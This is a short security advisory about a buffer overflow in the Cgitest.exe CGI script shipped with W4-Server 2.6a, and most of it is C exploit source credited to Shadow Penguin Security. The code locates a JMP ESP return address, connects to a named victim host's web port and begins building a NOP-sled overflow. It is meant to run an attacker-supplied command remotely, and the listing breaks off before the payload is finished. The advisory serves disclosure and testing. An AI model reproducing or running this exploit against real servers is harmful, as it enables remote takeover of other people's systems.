Certain versions of the W4-Server 32-bit personal web server by Antelope Software are shipped with a security-flawed script called Cgitest.exe. This compiled CGI script fails to perform bounds checking on user supplied data and is vulnerable to a buffer overflow.
The following exploit code can be used to test your system for the mentioned vulnerability:
/*==========================================================
Cgitest.exe Exploit (Distributed with W4-Server2.6a/32-bits)
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
============================================================
*/
unsigned int search_mem(unsigned char *st,unsigned char *ed,
unsigned char c1,unsigned char c2)
{
unsigned char *p;
unsigned int adr;
for (p=st;p<ed;p++)
if (*p==c1 && *(p+1)==c2){
adr=(unsigned int)p;
if ((adr&0xff)==0) continue;
if (((adr>>8)&0xff)==0) continue;
if (((adr>>16)&0xff)==0) continue;
if (((adr>>24)&0xff)==0) continue;
return(adr);
}
return(0);
}
main(int argc,char *argv[])
{
SOCKET sock;
SOCKADDR_IN addr;
WSADATA wsa;
WORD wVersionRequested;
unsigned int i,kp,ip,p1,p2,p;
unsigned int pfakeadr,pretadr;
static unsigned char buf[MAXBUF],packetbuf[MAXBUF+1000],*q;
struct hostent *hs;
MEMORY_BASIC_INFORMATION meminfo;
if (argc<2){
printf("usage: %s VictimHost Command\n",argv[0]);
exit(1);
}
if ((void *)(kp=(unsigned int)LoadLibrary(KERNEL_NAME))==NULL){
printf("Can not find %s\n",KERNEL_NAME);
exit(1);
}
strcat(cmdbuf,argv[2]);
VirtualQuery((void *)kp,&meminfo,sizeof(MEMORY_BASIC_INFORMATION));
pfakeadr=pretadr=0;
for (i=0;i<meminfo.RegionSize;i++){
p=kp+i;
if ( ( p &0xff)==0
|| ((p>>8 )&0xff)==0
|| ((p>>16)&0xff)==0
|| ((p>>24)&0xff)==0) continue;
q=(unsigned char *)p;
if (pfakeadr==0 && *q%2==0) pfakeadr=p+4;
if (pretadr==0 && *q==JMPESP_1 && *(q+1)==JMPESP_2) pretadr=p;
if (pfakeadr!=0 && pretadr!=0) break;
}
printf("FAKEADR : %x\n",pfakeadr);
printf("RETADR : %x\n",pretadr);
if (pfakeadr==0 || pretadr==0){
printf("Can not find codes which are used by exploit.\n");
exit(1);
}
wVersionRequested = MAKEWORD( 2, 0 );
if (WSAStartup(wVersionRequested , &wsa)!=0){
printf("Winsock Initialization failed.\n"); return -1;
}
if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){
printf("Can not create socket.\n"); return -1;
}
addr.sin_family = AF_INET;
addr.sin_port = htons((u_short)HTTP_PORT);
if ((addr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if ((hs=gethostbyname(argv[1]))==NULL){
printf("Can not resolve specified host.\n"); return -1;
}
addr.sin_family = hs->h_addrtype;
memcpy((void *)&addr.sin_addr.s_addr,hs->h_addr,hs->h_length);
}
if (connect(sock,(LPSOCKADDR)&addr,sizeof(addr))==SOCKET_ERROR){
printf("Can not connect to specified host.\n"); return -1;
}
memset(buf,0x90,MAXBUF); buf[MAXBUF]=0;
